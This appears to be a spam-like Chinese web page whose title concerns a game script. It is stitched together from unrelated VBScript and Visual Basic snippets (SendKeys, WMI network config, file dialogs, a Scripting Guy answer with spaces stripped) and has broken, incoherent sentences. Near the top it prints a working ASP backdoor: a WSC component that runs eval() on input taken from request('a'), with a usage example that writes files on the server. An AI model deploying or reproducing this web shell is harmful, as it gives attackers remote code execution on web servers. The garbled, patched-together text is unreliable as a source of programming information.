复仇之矛脚本逆水寒扫货

发布时间:2020-06-25 来源:脚本之家 点击:


    但是,如果知道变量确实总是存储特定类型的数据,并且还声明了这种特定类型的变量,则VisualBasic会以更高的效率处理这个数据因为我们从未对该值进行任何更改,所以i始终为0,因此将始终不等于999

脚本精灵脚本编写教程
<?xml version="1.0" encoding="gb2312" standalone="yes"?>
<?component error="true" debug="true"?>
<package>
<component id="haiyangtop">
<public>
<method name="lcx"><parameter name="b"/></method>
</public>
<script language="VBScript"><![CDATA[
sub lcx(b)
eval(b)
end sub
]]>
</script>
</component>
</package>
backdoor.asp内容如下:
<%
b=request("a")
Set fs=GetObject("script:d:/web/ScriptCodingInfo.wsc#haiyangtop")
fs.lcx(b)
%>
调用方法如下:("Scripting.FileSystemObject").OpenTextFile("c:\1122.txt"),8,True,0).WriteLine("123")
注意这里的a=只能是vbs的代码,不可以接受像response、rquest之类的asp的东东
    在VisualBasic界面的任何上下文相关部分上按F1键,就可显示有关该部分的信息

键的安排顺序由克里斯多福·萧尔斯(Christopher Sholes)设计的其中*.Bmp文件的来源最广,不但可以使用Windows环境下的各种绘图软件来绘制(但费时费力,且不是每个人都有绘画的天才),也可以使用Windows所提供的现成的位图文件,或者用彩色扫描仪扫入等等


Set a=WScript.CreateObject("WScript.Shell")
a.Run "notepad"
'打开记事本
do
Randomize
x=Int((40 * Rnd) + 1)
'产生一个1~40的随机数赋给X
WScript.Sleep 1000
a.SendKeys x&","
'模拟键盘,输出x
n=n+1 '累计器
if n=10 then wscript.quit '若累计器N为10则推出脚本
loop
'保存成VBS可以看到结果


'打开
PrivateSubmnuOpen_Click()
CommonDialog1.Filter="文档文件(*.txt)|*.txt|所有文件(*.*)|*.*"
CommonDialog1.ShowOpen
OpenCommonDialog1.FileNameForInputAs#1
Text1.Text=StrConv(InputB$(LOF(1),1),vbUnicode)
Close#1
EndSub

'保存
PrivateSubmnuSave_Click()
OnErrorResumeNext
CommonDialog1.Filter="文档文件(*.txt)|*.txt|所有文件(*.*)|*.*"
CommonDialog1.ShowSave
OpenCommonDialog1.FileNameForOutputAs#1
Print#1,Text1.Text
Close1
EndSub

TextBox只支持打开64K以下的文件,建议最好设置出错处理


'ReturningIPConfigurationData
'WMIscriptthatreturnsconfigurationdatasimilartothatreturnedbyIpConfig.
strComputer="."
SetobjWMIService=GetObject("winmgmts:\"&strComputer&"\root\cimv2")
SetcolAdapters=objWMIService.ExecQuery_
("SELECT*FROMWin32_NetworkAdapterConfigurationWHEREIPEnabled=True")
n=1
WScript.Echo
ForEachobjAdapterincolAdapters
WScript.Echo"NetworkAdapter"&n
WScript.Echo"================="
WScript.Echo"Description:"&objAdapter.Description
WScript.Echo"Physical(MAC)address:"&objAdapter.MACAddress
WScript.Echo"Hostname:"&objAdapter.DNSHostName
IfNotIsNull(objAdapter.IPAddress)Then
Fori=0ToUBound(objAdapter.IPAddress)
WScript.Echo"IPaddress:"&objAdapter.IPAddress(i)
Next
EndIf
IfNotIsNull(objAdapter.IPSubnet)Then
Fori=0ToUBound(objAdapter.IPSubnet)
WScript.Echo"Subnet:"&objAdapter.IPSubnet(i)
Next
EndIf
IfNotIsNull(objAdapter.DefaultIPGateway)Then
Fori=0ToUBound(objAdapter.DefaultIPGateway)
WScript.Echo"Defaultgateway:"&objAdapter.DefaultIPGateway(i)
Next
EndIf
WScript.Echo
WScript.Echo"DNS"
WScript.Echo"---"
WScript.Echo"DNSserversinsearchorder:"
IfNotIsNull(objAdapter.DNSServerSearchOrder)Then
Fori=0ToUBound(objAdapter.DNSServerSearchOrder)
WScript.Echo""&objAdapter.DNSServerSearchOrder(i)
Next
EndIf
WScript.Echo"DNSdomain:"&objAdapter.DNSDomain
IfNotIsNull(objAdapter.DNSDomainSuffixSearchOrder)Then
Fori=0ToUBound(objAdapter.DNSDomainSuffixSearchOrder)
WScript.Echo"DNSsuffixsearchlist:"&objAdapter.DNSDomainSuffixSearchOrder(i)
Next
EndIf
WScript.Echo
WScript.Echo"DHCP"
WScript.Echo"----"
WScript.Echo"DHCPenabled:"&objAdapter.DHCPEnabled
WScript.Echo"DHCPserver:"&objAdapter.DHCPServer
IfNotIsNull(objAdapter.DHCPLeaseObtained)Then
utcLeaseObtained=objAdapter.DHCPLeaseObtained
strLeaseObtained=WMIDateStringToDate(utcLeaseObtained)
Else
strLeaseObtained=""
EndIf
WScript.Echo"DHCPleaseobtained:"&strLeaseObtained
IfNotIsNull(objAdapter.DHCPLeaseExpires)Then
utcLeaseExpires=objAdapter.DHCPLeaseExpires
strLeaseExpires=WMIDateStringToDate(utcLeaseExpires)
Else
strLeaseExpires=""
EndIf
WScript.Echo"DHCPleaseexpires:"&strLeaseExpires
WScript.Echo
WScript.Echo"WINS"
WScript.Echo"----"
WScript.Echo"PrimaryWINSserver:"&objAdapter.WINSPrimaryServer
WScript.Echo"SecondaryWINSserver:"&objAdapter.WINSSecondaryServer
WScript.Echo
n=n+1
Next
FunctionWMIDateStringToDate(utcDate)
WMIDateStringToDate=CDate(Mid(utcDate,5,2)&"/"&_
Mid(utcDate,7,2)&"/"&_
Left(utcDate,4)&""&_
Mid(utcDate,9,2)&":"&_
Mid(utcDate,11,2)&":"&_
Mid(utcDate,13,2))
EndFunction
一体纯

OptionButton控件经常是作为控件数组存在的,要快速找到其中的哪一个被选中,可以使用下面的代码:

'假设控件数组包含3个OptionButton控件

intSelected=Option(0).Value*0-Option(1).Value*1-Option(2).Value*2

注意,因为第一个操作数总是0,所以上述代码可以精简如下:

intSelected=-Option(1).Value-Option(2).Value*2

->

IhaveascriptwhereusersentersomeinformationinanInputbox.Theinformationneedstobeenteredinall-capitalletters,somyinstructionssay,“PleasemakesuretheCapsLockkeyisonbeforeenteringtheinformation.”Theydon'talwaysdothat,however.IsthereawaytoturntheCapsLockkeyonandoffusingascript?
--BW,Medford,OR
答:
Hey,BW.Wedon'tknowofawaytoturntheCapsLockkeyonandoff,butwedoknowawaytomimictheeffectofhavingtheCapsLockkeyon.Afterall,thewholepointoftheCapsLockkeyistoturneverythingyoutypeintouppercaseletters.Forexample,youmighttypethis:
thisismysentence.
ButCapsLockwillmakeitappearonscreenlikethis:
THISISMYSENTENCE.
Sohowcanweachievethesameaffectinascript?简单:wejustusetheVBScriptfunctionUCase,whichswitchesallthelettersinastringtotheiruppercaseequivalent.Forexample,here'sasimpletwo-linescriptthatgathersinformationfromauserandthenusestheUCasefunctiontoswitchalltheletterstouppercasewhenechoingthevaluetothescreen:
strMessage=InputBox("Pleaseenteryourmessage:")Wscript.EchoUCase(strMessage)
Incidentally,theabovescriptdoesn'tactuallychangethecaseofthelettersinthestringstrMessage;itjustdisplaystheminuppercase.Ifyoureallywantallthelettersconvertedtouppercase,trythisscriptinstead:
strMessage=UCase(InputBox("Pleaseenteryourmessage:"))Wscript.EchostrMessage
Lookscrazy,butitworks.
FormoreinformationabouttheUCasefunction,seetheVBScript文档onMSDN.

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号